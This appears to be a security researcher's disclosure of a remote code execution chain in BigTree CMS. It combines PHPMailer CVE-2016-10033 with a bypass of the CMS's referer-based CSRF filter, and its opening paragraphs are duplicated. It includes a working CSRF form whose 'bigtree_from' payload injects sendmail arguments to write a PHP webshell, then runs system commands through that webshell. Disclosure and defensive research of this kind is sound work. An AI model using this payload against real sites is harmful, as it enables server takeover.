## DESCRIPTION ### PHPMailer RCE (CVE-2016-10033) An independent research uncovered a critical vulnerability in PHPMailer _(version < 5.2.20)_ that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application. * [PHPMailer < 5.2.20 Remote Code Execution](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html) PHPMailer uses the `Sender` variable to build the params string. Then `PHPMailer::send()` would call PHP native function `mail()` to execute `/usr/bin/sendmail` with the arguments in `$this->Sender` According to my [analysis](https://www.cdxy.me/?p=754), if we can control the value of `Sender`, we can let `sendmail` save the context _(<?php phpinfo()?>)_ to any given path _(/var/www/html/shell.php)_, which means code execution. ### PHPMailer in BigTree CMS BigTree CMS include PHPMailer in...
## DESCRIPTION ### PHPMailer RCE (CVE-2016-10033) An independent research uncovered a critical vulnerability in PHPMailer _(version < 5.2.20)_ that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application. * [PHPMailer < 5.2.20 Remote Code Execution](https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html) PHPMailer uses the `Sender` variable to build the params string. Then `PHPMailer::send()` would call PHP native function `mail()` to execute `/usr/bin/sendmail` with the arguments in `$this->Sender` According to my [analysis](https://www.cdxy.me/?p=754), if we can control the value of `Sender`, we can let `sendmail` save the context _(<?php phpinfo()?>)_ to any given path _(/var/www/html/shell.php)_, which means code execution. ### PHPMailer in BigTree CMS BigTree CMS include PHPMailer in `/core/inc/bigtree/utils.php` ``` static function sendEmail($to,$subject,$html,$text = "",$from = false,$return = false,$cc = false,$bcc = false,$headers = array()) { $mailer = new PHPMailer; foreach ($headers as $key => $val) { $mailer->addCustomHeader($key,$val); } $mailer->Subject = $subject; if ($html) { $mailer->isHTML(true); $mailer->Body = $html; $mailer->AltBody = $text; } else { $mailer->Body = $text; } if (!$from) { $from = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN)); $from_name = "BigTree CMS"; } else { // Parse out from and reply-to names $from_name = false; $from = trim($from); if (strpos($from,"<") !== false && substr($from,-1,1) == ">") { $from_pieces = explode("<",$from); $from_name = trim($from_pieces[0]); $from = substr($from_pieces[1],0,-1); } } $mailer->From = $from; $mailer->FromName = $from_name; $mailer->Sender = $from; ``` The right way to set the value of `Sender` is using secure method `$mailer->setForm()`,but here the function passes `$from` to `$mailer->Sender` directly without any validation. Go finding the call to function `sendEmail()`. `/core/inc/bigtree/apis/email-service.php` ``` function sendEmail($subject,$body,$to,$from_email = false,$from_name = false,$reply_to = false,$text = "") { ... if ($this->Service == "local") { return BigTree::sendEmail($to,$subject,$body,$text,($from_name ? "$from_name <$from_email>" : $from_email),$reply_to); } ... } ``` Finding call to this function. `/core/inc/bigtree/admin.php` line 2526 ``` static function forgotPassword($email) { ... $es = new BigTreeEmailService; // Only use a custom email service if a from email has been set if ($es->Settings["bigtree_from"]) { $reply_to = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN)); $es->sendEmail("Reset Your Password",$html,$user["email"],$es->Settings["bigtree_from"],"BigTree CMS",$reply_to); } ... } ``` Finding how to manage the value of `$es->Settings["bigtree_from"]` `/core/admin/modules/developer/email/update.php` line 16 ``` ... $settings["settings"]["bigtree_from"] = $_POST["bigtree_from"]; $admin->updateSettingValue("bigtree-internal-email-service",$settings); ... ``` Now the transfer route is clear: `$_POST["bigtree_from"];` -> `$settings["settings"]["bigtree_from"]` -> `$es->Settings["bigtree_from"]` -> `$from_email` -> `$from` -> `$mailer->Sender` The entry `$_POST["bigtree_from"];` is generated by "Developer / Email Delivery" form.  But unfortunately it requires admin privilege, So I have to see if CSRF works. ### CSRF Filter Bypass Then I found its CSRF filter at `/core/admin/modules/developer/_header.php` line 3 ``` if (count($_POST)) { $clean_referer = str_replace(array("http://","https://"),"//",$_SERVER["HTTP_REFERER"]); $clean_admin_root = str_replace(array("http://","https://"),"//",ADMIN_ROOT)."developer/"; // The referer MUST contain a URL from within the developer section to post to it. if (strpos($clean_referer,$clean_admin_root) === false) { die(); } } ``` It can be simply bypassed with: ``` https://attacker_host/?url=http://target_host/admin/developer/ ``` ## PROOF OF CONCEPT EXPLOIT Specific process is divided into the following four steps: 1. Upload csrf.html to his public server, then send a CSRF probe to admin. 2. Admin triggers CSRF, sending a POST request to updates mail settings. 3. Request a mail from CMS, hence the PHPMailer will create a webshell. 4. Execute commands with webshell. #### Step1 CSRF probe ``` http://attacker_server/csrf.html?url=http://bigtreeCMS/admin/developer/ ``` csrf.html ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST"> <input type="hidden" name="service" value="local" /> <input type="hidden" name="bigtree_from" value="?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` payloads in csrf.html ``` ?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx ``` (`<>` was filtered in backend, so I use `/*` to comment the following text) #### Step2  #### Step3 Trigger PHPMailer at "forgot-password" form (unauthorized).  Then `/var/www/html/final.php` will be created with PHP codes inside.  #### Step4 Execute system commands with webshell.  ## SOLUTION 1. Update PHPMailer to latest version. 2. Use secure method "setFrom()" to set the value of "Sender". 3. Strengthen CSRF protection.